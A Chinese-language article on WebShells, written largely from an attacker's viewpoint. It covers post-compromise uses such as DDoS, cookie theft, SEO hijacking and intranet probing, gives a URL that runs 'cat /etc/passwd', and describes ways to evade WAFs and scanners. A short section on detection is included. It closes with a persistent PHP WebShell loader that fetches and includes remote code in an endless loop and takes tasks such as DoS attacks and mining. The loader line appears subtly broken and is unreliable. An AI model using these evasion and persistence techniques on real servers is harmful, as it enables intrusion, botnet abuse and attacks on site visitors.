这是一遍针对WebShell的总结性文档,如果您已经熟知这方面的知识,请直接跳入本文档底部找你需要的干货。本篇内容是对附件中PPT的阐述和补充。
百度:WebShell就是以ASP、PHP、JSP或CGI等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。
什么时候需要WebShell?
差不多我人生第一次真正意义上拿下一个网站,依靠的是雷傲BBS的一个上传漏洞。在一个CGI后门cmd.cgi的帮助下,我最终拿到了系统管理员权限。
通常,遇到如下场景你会非常需要一个WebShell:
你发现并利用了一个网站的漏洞
得到了Web权限但没有系统权限
希望下一次能够 优雅 地连接系统
主要功能
在不同的使用场景和运行环境下,WebShell的功能不尽相通。典型的WebShell功能主要包括以下类别:
环境探针
资源管理
文件编辑
执行OS命令
读取注册表
创建Socket
调用系统组件
以执行命令为例,WebShell可以调用脚本文件的内部函数执行操作系统shell命令。只要权限足够,你可以无限发挥这一功能。
扩展功能
事实上经过业界多年的应用和扩展,WebShell的功能也越来越强大。在一些特定的场景下,WebShell往往能够发挥超强的杀伤力。
权限提升
一般情况下WebShell的权限等同于Web Server的权限,如需更高级的系统权限需要提升shell的执行权限。某些功能强的的WebShell可协助攻击者从IIS/Apache/Nginx等Web Server的权限提升到操作系统Administrator/Root权限。
DDoS
利用Web服务器的计算能力、带宽资源发起DDoS攻击,可以替代传统僵尸网络中需要植入木马的客户端。
网页挂马
篡改网页代码内容,植入恶意JS代码,从而实现刷流量,盗Cookie;更有甚者针对访问者植入针对浏览器或控件的0Day攻击代码。
“黑帽”SEO
只能说这是一个很大的产业链,通过页面劫持可以实现针对爬虫和真实用户返回不同的内容。你在搜索引擎中看到很多gov网站的标题不堪入目,通常是这个网站已经沦陷的充分证明。想看效果,自行百度“inurl:gov.cn 六合彩”。
代理服务器
网站被拿下用作代理服务器是常有的事。众所周知通常网站都不输在IDC机房,计算能力和带宽资源非常丰厚,用作代理服务器是相当不错的选择。特别是你要访问某些海外资源时,能有个IDC的服务器帮你做个摆渡,速度会快不少。
端口扫描
利用Web服务器作为扫描器虽然效率低且未必能充分满足要求,但在一定程度上能够非常有效地隐蔽攻击者的身份。
内网探测
Web服务器往往能够和内网中其它服务器直接进行通讯,例如数据库服务器、LDAP服务器等。充分利用WebShell的这一优势,可助内网渗透攻击一臂之力。内网服务器之间安全策略较为宽松,请求响应延迟低,WebShell是刺探内网情报的最佳工具之一。
发挥你的想象
WebShell强大的功能,完全取决于你的想象力!
基于功能强弱的分类
全功能型:什么都能做
WebShell界的十项全能。当然,功能强大的基础是代码量大。其字符串特征明显,容易被安全工具查杀。
资源管理:文件和目录管理
通常这类WebShell被称为站长管理工具,方便站长在线编辑网站文件。当然也可以用于恶意操作:)
命令执行:执行系统命令
顾名思义,该WebShell只负责执行系统命令。如果系统命令用得熟,也是什么都能干的!举个例子:
http://www.example.com/cmd.php?cmd=cat /etc/passwd
上传型:负责上传“大马”
在某些特殊场景下,攻击者无法上传一个长度超过几百K的全能型WebShell,此时可以选择先上传一个简单的“中继器”。该中继WebShell只负责一个功能,提供在服务器创建新的文件的能力。
一句话型:短小精悍
顾名思义该WebShell的代码只有一行。因为其短小精悍,已然成为居家旅行,杀人灭口,渗透测试的必备工具。一句话WebShell通常用于执行客户端传递过来的脚本代码,而不是某个功能或模块的参数。这给WebShell功能扩展提供了巨大的想象空间。典型的一句话WebShell代码如下:
WebShell检测思路
WebShell检测是攻防对抗中的一个重要环节,是安全防护人员必修之课。如何快速检测Web Server是否已经被WebShell控制,对网站安全来说至关重要。以下是典型的WebShell检测思路:
关键字检查
关键字匹配是最常见的检测方法, 例如一句话WebShell中的eval函数名就是非常危险的关键字。 主要依赖检测者WebShell特征库的大小和强弱。同时特征匹配本身也存在误报和漏报的问题。
文件状态对比
Web Server上增加或修改了一个文件一定可以通过技术手段发现。目前已有类似的安全产品,定期扫描服务器上文件的变化,甚至比对每一个文件当前和历史的MD5数值,快速定位可疑文件。
运行特征检测
部署在服务器上的WebShell最终是要被访问的。识别WebShell可以从一些反常的请求行为上做判断,例如:非工作时间无明显业务参数的连续脚本文件请求。
审核代码逻辑
通过人工或软件的方式对代码运行逻辑进行检查,通常被称为白盒检测。严格审核代码的逻辑是可以精确发现WebShell,但现状是:人工方式效率非常低下,工具检测误报严重。
WebShell检测规避
当然,为了规避各种检测手段,业界也由很多典型的检测规避措施。以下措施能够在一定程度上降低WebShell被检测出来的机率。
主流方法
字符混淆 OR 变量生成关键字
为了规避关键检测,可以通过一些变量组合的方式生成函数关键字。
文件包含
将WebShell文件拆分成2个以上文件,通过include方式载入主体文件是常用的规避检测方式。最典型的是将WebShell功能代码写到JPG文件,然后再包含到脚本文件。
奇思妙想
看不见的文件名:全角中文空格作为文件名,真正的代码在这个看不见文件名的文件中,例如:
隐藏目录:虚拟目录、NTFS数据流
如果攻击者可以操作Web Server配置文件,可以将WebShell文件放在非网站目录下,从而绕过文件检查。也可以利用Windows NTFS数据流特征创建神奇的WebShell文件,例如:
其中./test.php:.txt这个文件无法在资源管理器看到,命令行下的大小为0。
利用HTTP:数据通过HTTP HEAD或Cookie传递
绝大多数WebShell的数据交互式是在HTTP协议的Body区段完成的,如果将指令放在HTTP HEAD中,可以绕过各种拦截工具的检查 。
借助数据库:将shell关键代码存放在数据库中
代码存放在数据库中,WebShell将更加隐蔽。这给查杀也带来了巨大的挑战。
WebShell高级攻防技巧
三种姿势检测WebShell
下图是典型WebShell请求和响应时序图,是WebShell行为特征的抽象代表:
稍作总结即可发现,至少有3个环节可以用于WebShell监测:
WebShell文件特征
WebShell请求的HTTP特征
WebShell响应的HTTP特征
这里推荐Mod Security这款开源WAF(Web Application Firewall),它能够在Web Server上有效拦截Web各类攻击以及拦截WebShell的请求响应。
打破规则:请求响应分离
仔细体会WebShell监测3大环节,你一定会有所收获。事实上,请求响应环节完全可以规避,从而躲过各类WAF的查杀。其核心的思想是:
减少字符特征
远程加载指令
请求响应分离
无HTTP请求特征
无HTTP响应特征
具体实现思路的时序图如下:
第1环节无任何特征
第2和4环节由Web Server对外发起,不经过WAF
第3环节仅执行代码,无落地文件
hacker1.com和hacker2.com可以是一台服务器
还能再精彩点吗?
基于以上思路,我结合了脚本文件的一些特征,开发了一套支持任务发布的批量WebShell管理工具。
加载远程指令
如果PHP环境变量allow_url_include = off,可以使用下面的代码替代:
@file_put_contents('_',@file_get_contents('http://127.0.0.1/x.png'));@include('-');@delete('_');
logo.png的返回内容完全由example.com控制。
利用死循环
首先该WebShell只需一次请求即可,以后的指令是WebShell自己从远程服务器周期性加载的,这完全规避了访问行为检测。 以PHP为例,程序启动后可以不再响应浏览器的关闭动作,同时进入死循环工作状态。首次加载远程代码时可以带上下面的代码:
ignore_user_abort(true); set_time_limit(0);
只要Apache/Nginx不重启,这个WebShell会一直处于运行状态并定时请求远程指令。
任务分发
如果只是通过一般的webshell客户端管理工具来维护WebShell,那么绝大多数情况下WebShell都是静躺在磁盘中的,价值完全没有被充分发挥。本Shell管理系统则完全不同,充分发掘了WebShell的价值。随着被管理的WebShell逐渐增多,还可以开发一套独立的管理界面进行管理。
由于每个WebShell有自身的运行ID,因此可以针对不同的WebShell发布不同的指令执行不同的任务:
执行一段神奇的代码
集中DoS某个目标网站
运行一个刷票插件
开挖比特币
展开你的想象
领取专属 10元无门槛券
私享最新 技术干货